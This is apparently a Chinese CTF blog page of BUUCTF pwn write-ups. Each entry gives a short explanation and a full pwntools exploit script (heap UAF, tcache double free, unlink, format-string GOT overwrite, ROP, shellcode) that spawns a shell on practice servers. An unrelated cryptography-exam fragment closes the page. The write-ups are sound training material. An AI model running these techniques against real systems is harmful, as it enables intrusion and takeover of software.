0%

buu093-wustctf2020_easyfast

Ubuntu 16.04下的简单堆题,使用fastbin直接UAF,分配到关键位置,注意前面有一个0x50表示chunk的大小,如果这个值不存在,那么这里是无法分配chunk的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 28773)
elf = ELF('./pwn')

sla = lambda x, y: io.sendlineafter(x, y)

def add(size):
sla(b'choice>\n', b'1')
sla(b'size>\n', str(size).encode())

def delete(index):
sla(b'choice>\n', b'2')
sla(b'index>\n', str(index).encode())

def writein(index, content):
sla(b'choice>\n', b'3')
sla(b'index>\n', str(index).encode())
time.sleep(0.1)
io.send(content)

add(0x40)
delete(0)
writein(0, p64(0x602080))
add(0x40)
add(0x40)
writein(2, p64(0))
sla(b'choice>\n', b'4')
io.interactive()

buu094-ciscn_2019_es_1

这道题虽然说的是“hate libc 2.29”,但实际上最后发现用的还是glibc 2.27-3ubuntu1版本,也就是能够double free的版本。本题想要获取libc地址很简单,因为free之后地址还在,只要add一个大于0x400的chunk,释放后再show一下即可获取。然后double free一个小chunk,以将chunk分配到__free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# io = process('./ciscn_2019_es_1')
io = remote('node4.buuoj.cn', 28589)

sla = lambda x, y: io.sendlineafter(x, y)

def add(size, name, phone):
sla(b'choice:', b'1')
sla(b'Please input the size of compary\'s name\n', str(size).encode())
sla(b'please input name:\n', name)
sla(b'please input compary call:\n', phone)

def delete(idx):
sla(b'choice:', b'3')
sla(b'Please input the index:\n', str(idx).encode())

def show(idx):
sla(b'choice:', b'2')
sla(b'Please input the index:\n', str(idx).encode())

add(0x440, b'a', b'a')
add(0x440, b'a', b'a')
add(0x50, b'/bin/sh\x00', b'a')
delete(0)
show(0)
io.recvuntil(b'name:\n')
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
__malloc_hook = main_arena - 0x10
log.info('__malloc_hook: ' + hex(__malloc_hook))
libc = LibcSearcher('__malloc_hook', __malloc_hook)
base = __malloc_hook - libc.dump('__malloc_hook')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
log.info('libc base: ' + hex(base))
log.info('system: ' + hex(system))
__free_hook = base + libc.dump('__free_hook')

add(0x30, b'b', b'b')
add(0x30, b'b', b'b')
delete(3)
delete(3)

add(0x30, p64(__free_hook), b'b')
add(0x30, b'b', b'b')
add(0x30, p64(system), b'b')
delete(2)
io.interactive()

buu095-wdb2018_guess

这道题的解法需要使用glibc 2.23下的__stack_chk_fail函数。在2.23中,__stack_chk_fail的函数定义如下:

1
2
3
4
5
6
7
8
9
10
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

这是函数__stack_chk_fail直接调用的函数,可以看到这里会打印出argv[0]的内容,这个值在调试过程中会保存到r13寄存器的位置。且一般在栈的顶部位置。这个地址与我们通过gets写入字符串的地址的偏移是固定的,因此第一次我们可以通过将这个值修改为got表地址,来获取到libc的加载地址;第二次我们将其修改为environ变量的值,这个变量位于libc中,保存着栈地址;在获取了栈地址之后,第三次我们就可以将其修改为flag的内容,然后就可以输出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'

# io = process('./GUESS')
io = remote('node4.buuoj.cn', 28148)
elf = ELF('./GUESS')
libc = ELF('./libc.so.6')


io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(elf.got['puts']))
io.recvuntil(b'*** stack smashing detected ***: ')
puts = u64(io.recv(6) + b'\x00\x00')
base = puts - libc.symbols['puts']
log.info('libc base: ' + hex(base))
environ = base + libc.symbols['environ']
log.info('environ: ' + hex(environ))

io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(environ))
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6) + b'\x00\x00')
flag_addr = stack_addr - 0x168
log.info('stack address: ' + hex(stack_addr))

io.sendlineafter(b'Please type your guessing flag\n', cyclic(0x128) + p64(flag_addr))

io.interactive()

buu096-gyctf_2020_some_thing_exceting

这道题做的时候大意了,做着做着给flag已经被读到内存这件事给忘了……

在flag已经读入内存的情况下,这道题是很简单的,就是一个基础的堆排布,让0x10的header分配到可以写的buffer里面,直接修改指针的值然后show就行了。

如果这道题没有flag在内存中,首先就应该通过上面的这种方法获取libc基址,然后使用fastbin attack,用一次double free分配到__malloc_hook,注意修改指针的值应该是__malloc_hook - 0x23,原因参见我的这篇文章:传送门

注意这里不能分配到__free_hook,因为fastbin分配之前会检查size字段,而__free_hook前面并不存在有效的size字段。然后将__malloc_hook改成one_gadget,可惜测试完发现4个one_gadget都不行,于是开始怀疑人生,然后突然就意识到flag在内存中本来就有……

下面的代码注释掉的部分就是不存在flag时的利用方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

one_gadgets = [0x45216, 0x4526A, 0xF02A4, 0xF1147]

# io = process('./pwn')
io = remote('node4.buuoj.cn', 27127)
elf = ELF('./pwn')

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)

def add(basize, nasize, bacon, nacon):
sla(b'> Now please tell me what you want to do :', b'1')
sla(b'> ba\'s length : ', str(basize).encode())
sa(b'> ba : ', bacon)
sla(b'> na\'s length : ', str(nasize).encode())
sa(b'> na : ', nacon)

def delete(idx):
sla(b'> Now please tell me what you want to do :', b'3')
sla(b'> Banana ID : ', str(idx).encode())

def show(idx):
sla(b'> Now please tell me what you want to do :', b'4')
sla(b'> SCP project ID : ', str(idx).encode())

add(0x60, 0x60, b'a\n', b'a\n') # 0
add(0x60, 0x60, b'a\n', b'a\n') # 1
delete(0)
delete(1)
add(0x18, 0x18, p64(elf.got['puts']) + p64(0x6020A8), b'a') # 2
show(0)

'''
io.recvuntil(b'Banana\'s ba is ')
puts = u64(io.recv(6) + b'\x00\x00')
log.info('puts: ' + hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
__malloc_hook = base + libc.dump('__malloc_hook')
'''

'''
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
__malloc_hook = base + libc.symbols['__malloc_hook']
'''

'''
io.recvuntil('Banana\'s na is ')
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
log.info('system: ' + hex(system))
log.info('heap addr: ' + hex(heap_addr))

add(0x60, 0x60, b'a\n', b'a\n') # 3
add(0x60, 0x60, b'a\n', b'a\n') # 4
delete(3)
delete(4)
add(0x18, 0x18, p64(heap_addr + 0x10) + p64(heap_addr + 0x110), b'b') # 5
add(0x60, 0x60, b'a\n', b'a\n') # 6
delete(6)
delete(3)

add(0x60, 0x60, b'a\n', p64(__malloc_hook - 0x23)) # 7
add(0x60, 0x60, b'a\n', b'a\n') # 8
add(0x60, 0x50, b'b' * 19 + p64(one_gadgets[3]), b'/bin/sh\n') # 9
# add(0x18, 0x18, b'a\n', p64(system))
# delete(7)
# gdb.attach(io, 'b *0x400C24')
# time.sleep(3)

io.interactive()
'''

buu097-axb_2019_heap

这题的漏洞在于输入的时候会溢出1个字节,因此自然就可以想到使用unlink的方法来做。但这道题有一个很坑的点就是不能用LibcSearcher,虽然它能给你查到2个libc,但是无论你用哪个,远程都打不通,报错,但是用buuoj提供的64位的2.23 glibc就行,这个点坑了我好几个小时才发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 29678)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)

def add(index, size, content):
sla(b'>> ', b'1')
sla(b'Enter the index you want to create (0-10):', str(index).encode())
sla(b'Enter a size:', str(size).encode())
sla(b'Enter the content: ', content)

def delete(index):
sla(b'>> ', b'2')
sla(b'Enter an index:\n', str(index).encode())

def edit(index, content):
sla(b'>> ', b'4')
sla(b'Enter an index:\n', str(index).encode())
sla(b'Enter the content: \n', content)

sla(b'Enter your name: ', b'%15$p%19$p')
io.recvuntil(b'0x')
__libc_start_main = int(io.recvuntil(b'0x', drop=True), 16) - 240
elf_addr = int(io.recvuntil(b'\n', drop=True), 16) - 0x116A
note_addr = elf_addr + 0x202060

log.info('__libc_start_main: ' + hex(__libc_start_main))
log.info('elf base: ' + hex(elf_addr))

libc_base = __libc_start_main - libc.symbols['__libc_start_main']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']


add(0, 0x98, b'a')
add(1, 0xA0, b'/bin/sh')
edit(0, p64(0x10) + p64(0x91) + p64(note_addr - 0x18) + p64(note_addr - 0x10) + cyclic(0x70) + p64(0x90) + b'\xB0')
delete(1)
edit(0, p64(0) * 3 + p64(__free_hook) + p64(0x38) + p64(note_addr + 0x18) + b'/bin/sh\x00')
edit(0, p64(system))
delete(1)
# gdb.attach(io)
# time.sleep(3)

io.interactive()

buu098-oneshot_tjctf_2016

第一次输出got表地址,然后获取libc地址,跳转到one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 27336)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)

sla(b'Read location?\n', str(elf.got['puts']).encode())
ru(b'Value: 0x')
libc_base = int(rud(b'\n'), 16) - libc.symbols['puts']
sla(b'Jump location?\n', str(one_gadgets[3] + libc_base).encode())

io.interactive()

buu099-护网杯_2018_gettingstart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 29278)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)

sla(b'But Whether it starts depends on you.\n', cyclic(0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
io.interactive()

buu100-wustctf2020_number_game

计算机组成原理的知识……对于32位整数而言,只有0x80000000这个数(-2147483648)取相反数的值为2147483648,还是0x80000000,所以表示的数不变。输入这个数就行了。

buu101-zctf2016_note2

这道题提供了4个选项:增加、删除、修改、查看。其中修改能够提供2种选项——追加和覆写。修改部分的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void __fastcall edit()
{
char *v0; // rbx
int v1; // [rsp+8h] [rbp-E8h]
int v2; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 size; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *tempbuf; // [rsp+A0h] [rbp-50h]
unsigned __int64 v7; // [rsp+D8h] [rbp-18h]

v7 = __readfsqword(0x28u);
if ( put_limit )
{
puts("Input the id of the note:");
v1 = input_int();
if ( v1 >= 0 && v1 <= 3 )
{
src = ptr[v1];
size = sizes[v1];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v2 = input_int();
if ( v2 == 1 || v2 == 2 )
{
if ( v2 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
tempbuf = (char *)malloc(0xA0uLL);
strcpy(tempbuf, "TheNewContents:");
printf(tempbuf);
input(tempbuf + 15, 0x90LL, '\n');
parse(tempbuf + 15);
v0 = tempbuf;
v0[size - strlen(dest) + 14] = 0;
strncat(dest, tempbuf + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(tempbuf);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
}

注意其中的strncat函数,其第3个参数是字符串拼接之后的最大长度,虽然这里传的是最大的无符号整数,但是并不意味着这里可以溢出,因为前面还有一个v0[size - strlen(dest) + 14] = 0;将要追加的内容截断了,因此漏洞点不在这里。

经过测试发现,在glibc 2.23版本中,malloc(0)会创建一个大小为0x20的chunk,此时我们的重点就放在了输入的函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall input(char *buffer, __int64 maxsize, char endchar)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

for ( i = 0LL; maxsize - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == endchar )
break;
buffer[i] = buf;
}
buffer[i] = 0;
return i;
}

注意循环是for ( i = 0LL; maxsize - 1 > i; ++i ),查看汇编:

1
2
3
4
5
.text:0000000000400A28 loc_400A28:                             ; CODE XREF: input+1D↑j
.text:0000000000400A28 mov rax, [rbp+var_30]
.text:0000000000400A2C sub rax, 1
.text:0000000000400A30 cmp rax, [rbp+var_10]
.text:0000000000400A34 ja short loc_4009DC

这里是ja指令,因此是无符号的比较,但如果传入的size为0的话,那么这里就相当于是溢出任意多个字节。

既然有这样一个漏洞,在2.23环境很容易想到unlink,毕竟本题elf没加PIE,我们知道堆地址是保存在什么地方的,因此unlink最方便。

我的做法是覆盖atoi的got表地址为system,然后在输出菜单之后直接输入/bin/sh即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level = 'debug'

# io = process('./pwn')
io = remote('node4.buuoj.cn', 28072)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
ita = lambda: io.interactive()

def add(size, content):
sla(b'option--->>', b'1')
sla(b'Input the length of the note content:(less than 128)', str(size).encode())
sa(b'Input the note content:', content)

def show(idx):
sla(b'option--->>', b'2')
sla(b'Input the id of the note:', str(idx).encode())

def edit(idx, option, content):
sla(b'option--->>', b'3')
sla(b'Input the id of the note:', str(idx).encode())
sla(b'do you want to overwrite or append?[1.overwrite/2.append]', str(option).encode())
sa(b'TheNewContents:', content)

def delete(idx):
sla(b'option--->>', b'4')
sla(b'Input the id of the note:', str(idx).encode())

sla(b'Input your name:', b'a')
sla(b'Input your address:', b'b')

bufptr = 0x602120

payload = p64(0x10) + p64(0x81)
payload += p64(bufptr + 8 - 0x18) + p64(bufptr + 8 - 0x10)

add(0x0, b'a\n')
add(0x80, b'a\n')
add(0x80, b'a\n')
delete(0)
add(0, b'a' * 0x18 + p64(0x91) + payload.ljust(0x80, b'a') + p64(0x80) + p64(0x90) + b'\n')
delete(2)

edit(1, 1, b'a' * 0x10 + p64(elf.got['atoi']) + p64(bufptr) + b'\n')
show(0)
ru(b'Content is ')
atoi = u64(io.recvuntil(b'\n', drop=True) + b'\x00\x00')
log.info("atoi = " + hex(atoi))
base = atoi - libc.symbols['atoi']
log.info("libc base = " + hex(base))
system = base + libc.symbols['system']
binsh = base + next(libc.search(b'/bin/sh'))
__free_hook = base + libc.symbols[b'__free_hook']

edit(1, 1, p64(elf.got['atoi']) + p64(bufptr) + b'\n')

edit(0, 1, p64(system) + b'\n')
sla(b'option--->>\n', b'/bin/sh')

ita()

buu083-x_ctf_b0verfl0w

这道题一共可写50字节,其中可以覆盖返回地址,又有sub esp, 24h和jmp esp这样的gadget,可以直接在栈上写shellcode,但是对于50字节的利用比较紧凑,需要对shellcraft的汇编代码稍作修改。

其中将开头3个push改为2个,同时省去避免输入空字符所做的绕过,可以节省几个字节空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'debug'

# io = process('./b0verfl0w')
io = remote('node4.buuoj.cn', 27901)
elf = ELF('./b0verfl0w')

shell = '\
push 0x68732f;\
push 0x6e69622f;\
mov ebx, esp;\
push 0x6873;\
xor ecx, ecx;\
push ecx;\
push 4;\
pop ecx;\
add ecx, esp;\
push ecx;\
mov ecx, esp;\
xor edx, edx;\
jmp .1;\
pop eax;\
pop eax;\
pop eax;\
pop eax;\
.1:\
'

shell2 = '\
push 11;\
pop eax;\
int 0x80;\
'

shellcode = asm(shell)
io.sendafter(b'name?\n', (p32(0x8048504) + shellcode[:0x20] + p32(0x80484fd) + asm(shell2)).ljust(50, b'a'))
io.interactive()

buu084-picoctf_2018_leak_me

这道题利用strcat函数即可泄露口令。虽然每一次生成靶机的时候口令都不一样,但方便的做法就是先泄露一次然后再跑一次直接输口令。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'

# io = process('./PicoCTF_2018_leak-me')
io = remote('node4.buuoj.cn', 28532)

password = b'a_reAllY_s3cuRe_p4s$word_f85406'

io.sendlineafter(b'name?\n', cyclic(256))

io.sendline(password)
io.interactive()

buu085-inndy_echo

格式化字符串漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# io = process('./echo')
io = remote('node4.buuoj.cn', 28212)
elf = ELF('./echo')

io.sendline(b'%8$s' + p32(elf.got['fgets']))
fgets = u32(io.recv(4))
libc = LibcSearcher('fgets', fgets)
base = fgets - libc.dump('fgets')
system = base + libc.dump('system')
payload = fmtstr_payload(7, {elf.got['printf']: system})

io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

buu086-hitcontraining_unlink

同第73题。

buu087-ciscn_2019_final_3

从表面上来看,这是一道C++ pwn,但实际上就是一个普通的堆题。

只提供了2个选项:添加chunk和删除chunk,其中删除可以有double free,分配chunk只能分配0x78以内大小的chunk。每一次分配结束之后会返回堆地址。虽然本题我们获得了堆地址,但是程序和libc的加载地址都未知,而且看上去无法读取内存内容。

因此我们就必须考虑另辟蹊径。

思考一下,如果我们能够将chunk分配到main_arena中或者是__free_hook,那么分配之后的输出就能够让我们成功获取libc的地址。因此总的思路是:想尽办法将chunk分配到main_arena,获取libc地址后再想办法分配chunk到__free_hook。本题的libc版本为2.27-3ubuntu1,笔者的libc版本为2.27-3ubuntu1.6,这两个版本对于tcache的free操作不同,前者没有对于tcache的double free检查,而后者有,因此必须加上环境变量LD_PRELOAD选项。但即便如此,也只能勉强做题,因为没有dbg-symbols,我们无法在gdb中使用heap、bin等查看堆内容的关键性命令,这会使得做题变得很难受。不过由于这道题的出题时间比较早,出现这种情况也是完全可以理解的,做最近比赛的题目一般就不会有这种蛋疼的情况。

说回到本题上。本题利用仅有的一个输出机会的方式如下图所示:

注:图中浅色chunk比深色chunk的大小小。

由于2.27-3ubuntu1版本中没有对tcache chunk的double free检测,我们甚至可以连续两次释放同一个chunk。释放后,首先分配一次出去,将fd指针修改到该chunk前面0x10字节,然后再一次分配,这一次分配就可以修改到这个chunk的大小,将其改成unsorted bin的范围,这样在free这个chunk之后,堆中就会出现2个相同的指向main_arena+96的地址。然后我们通过继续分配让这个chunk被切割,这里要注意一个细节,就是切割后main_arena+96的保存地址会修改,我们让这个地址被修改到下一个chunk的fd部分,再提前将这个chunk释放掉,这样tcache中就会链入main_arena+96的地址。如此操作之后,我们就能够向main_arena+96分配chunk。

这里还要注意一个细节,我们要将第2个chunk的大小设置得与其他的chunk不同,可以假设一下,如果实现分配的所有chunk大小都相同,那么释放的顺序应该是2、1、1,这样第1个chunk才能在后面的malloc中优先被分配。在malloc两次之后,第1个chunk的大小被成功修改,此时tcache中还有1个chunk,那就是chunk 2,此时若想要切割unsorted bin chunk,就必须首先分配第2个chunk,此时tcache为空,即使此时chunk 2中的fd被修改为了main_arena+96,我们也无法在这个地方分配chunk了,因为它已经无法被链入到tcache链表,只有当chunk 2在释放状态时修改fd指针才行。

有了libc的基地址之后,我们就可以如法炮制,通过double free将chunk轻松地分配到__free_hook,然后一次释放即可get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.log_level = 'debug'

# io = process(['./ciscn_final_3'])
io = remote('node4.buuoj.cn', 28938)
libc = ELF('./libc.so.6')

sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
heap_addr = [0] * 0x18

def add(index, size, content):
sla(b'choice > ', b'1')
sla(b'input the index\n', str(index).encode())
sla(b'input the size\n', str(size).encode())
sa(b'now you can write something\n', content)
io.recvuntil(b'gift :0x')
heap_addr[index] = int(io.recvuntil(b'\n', drop=True), 16)

def delete(index):
sla(b'choice > ', b'2')
sla(b'input the index\n', str(index).encode())

add(0, 0x70, b'\n')
add(1, 0x40, b'\n')
add(2, 0x70, b'/bin/sh\n')
add(3, 0x60, b'\n')
add(4, 0x60, b'\n')
add(5, 0x60, b'\n')
add(6, 0x70, b'\n')
add(7, 0x70, b'\n')
add(8, 0x70, b'\n')

add(9, 0x10, b'\n')

delete(0)
delete(0)
delete(1)

add(10, 0x70, p64(heap_addr[0] - 0x10) + b'\n')
add(11, 0x70, b'\n')
add(12, 0x70, b'A' * 0x8 + p64(0x421) + b'\n')
delete(0)
add(13, 0x70, b'\n')
add(14, 0x40, b'\n')
add(15, 0x40, b'\x00') # to main_arena + 96
__malloc_hook = heap_addr[15] - 0x70
base = __malloc_hook - libc.symbols['__malloc_hook']
log.info('libc base = ' + hex(base))
__free_hook = base + libc.symbols['__free_hook']
log.info('__free_hook = ' + hex(__free_hook))
system = base + libc.symbols['system']

delete(4)
delete(4)
add(16, 0x60, p64(__free_hook) + b'\n')
add(17, 0x60, b'\n')
add(18, 0x60, p64(system) + b'\n')
delete(2)
io.interactive()

buu088-axb_2019_fmt64

和第85题神相似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'

# io = process('./axb_2019_fmt64')
io = remote('node4.buuoj.cn', 26942)
elf = ELF('./axb_2019_fmt64')

io.sendlineafter(b'Please tell me:', b'%9$s\x00\x00\x00\x00' + p64(elf.got['puts']))
io.recvuntil(b'Repeater:')
puts = u64(io.recv(6) + b'\x00\x00')
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
print(hex(base))
print(hex(system))

payload = fmtstr_payload(8, {elf.got['strlen']: system}, numbwritten=9)

io.sendlineafter(b'Please tell me:', payload)

# gdb.attach(io, 'b *0x4008d0')
io.sendline(b'||/bin/sh')
io.interactive()

buu089-wustctf2020_name_your_cat

直接溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'

# io = process('./wustctf2020_name_your_cat')
io = remote('node4.buuoj.cn', 29532)
elf = ELF('./wustctf2020_name_your_cat')

io.sendlineafter(b'Name for which?\n>', b'7')
io.sendlineafter(b'Give your name plz: ', p32(elf.symbols['shell']))

for i in range(4):
io.sendlineafter(b'Name for which?\n>', b'1')
io.sendlineafter(b'Give your name plz: ', b'A')

io.interactive()

buu090-pwnme1

scanf直接溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# io = process('./pwnme1')
io = remote('node4.buuoj.cn', 29037)
elf = ELF('./pwnme1')

io.sendlineafter(b'>> 6. Exit \n', b'5')

payload = cyclic(0xA4 + 4)
payload += p32(elf.plt['puts'])
payload += p32(0x8048898)
payload += p32(elf.got['puts'])
payload += p32(elf.symbols['getfruit'])

io.sendlineafter(b'Please input the name of fruit:', payload)

io.recvuntil(b'...\n')
puts = u32(io.recv(4))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

payload = cyclic(0xA4 + 4)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendlineafter(b'Please input the name of fruit:', payload)

io.interactive()

buu091-axb_2019_brop64

直接溢出。(怎么都90多题了还是这种简单题……)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'

poprdi_ret = 0x400963

# io = process('./axb_2019_brop64')
io = remote('node4.buuoj.cn', 27602)
elf = ELF('./axb_2019_brop64')

payload = cyclic(0xD0 + 8)
payload += p64(poprdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['repeater'])

io.sendlineafter(b'Please tell me:', payload)
io.recvuntil(b'\x09\x40')
puts = u64(io.recv(6) + b'\x00\x00')
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
print(hex(base))
print(hex(system))

payload = cyclic(0xD0 + 8)
payload += p64(poprdi_ret)
payload += p64(binsh)
payload += p64(system)

io.sendlineafter(b'Please tell me:', payload)

io.interactive()

buu092-[极客大挑战 2019]Not Bad

这题考察shellcode,由于给定的写长度不够,可以采用边写边执行的方式,增加可写代码的长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

# io = process('./bad')
io = remote('node4.buuoj.cn', 28044)
elf = ELF('./bad')

poprdi_ret = 0x400b13

shellcode_1 = '\
.1:\
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; \
nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; nop; \
nop; nop; nop; nop; nop; nop; nop; nop; \
jmp .1\
'

jmp_inst = asm(shellcode_1)[0x28:]

shellcode_2 = '\
mov rsi, rsp;\
sub rsi, 0x10;\
xor rax, rax;\
xor rdi, rdi;\
mov rdx, 0x100;\
syscall;\
'

sc1 = asm(shellcode_2).ljust(0x18, b'\x90')

payload = sc1 + p64(0)
payload += jmp_inst.ljust(8, b'\x90') # change rbp
payload += p64(0x4009EE)

io.sendafter(b'Easy shellcode, have fun!\n', payload.ljust(0x38, b'\x00'))

data_seg = 0x601058

shellcode3 = '\
xor rax, rax;\
xor rdi, rdi;\
mov rsi, 0x601058;\
mov rdx, 6;\
syscall;\
mov rax, 2;\
mov rdi, 0x601058;\
xor rsi, rsi;\
xor rdx, rdx;\
syscall;\
mov rdi, rax;\
xor rax, rax;\
mov rsi, rsp;\
sub rsi, 0x40;\
mov rdx, 0x30;\
syscall;\
mov rax, 1;\
mov rdi, rax;\
mov rsi, rsp;\
sub rsi, 0x40;\
mov rdx, 0x30;\
syscall;\
'

io.send(asm(shellcode3).ljust(0x100, b'\x00'))
io.send(b'/flag\x00')


io.interactive()

密码学2017~2021真题题型总结

1. 置换密码(难度:★)

出现于2017、2019、2020、2021年第一题,重点在于重合指数的计算。

在确定的文本中,重合指数的定义如下:

重合指数:文本中任选两个字符相同的概率。通过概率论相关知识容易得到其公式为

Ic(X)=i=025fi(fi1)n(n1)I_c(X)=\frac{\sum_{i=0}^{25}f_i(f_i-1)}{n(n-1)}

其中fif_i为每个密文字符的出现次数,nn为文本长度。

求逆置换和解密不难,解密根据逆置换分组重排即可。

2. 仿射密码(难度:★)

出现于2018年第一题,重点在于通过加密密钥求出解密密钥。

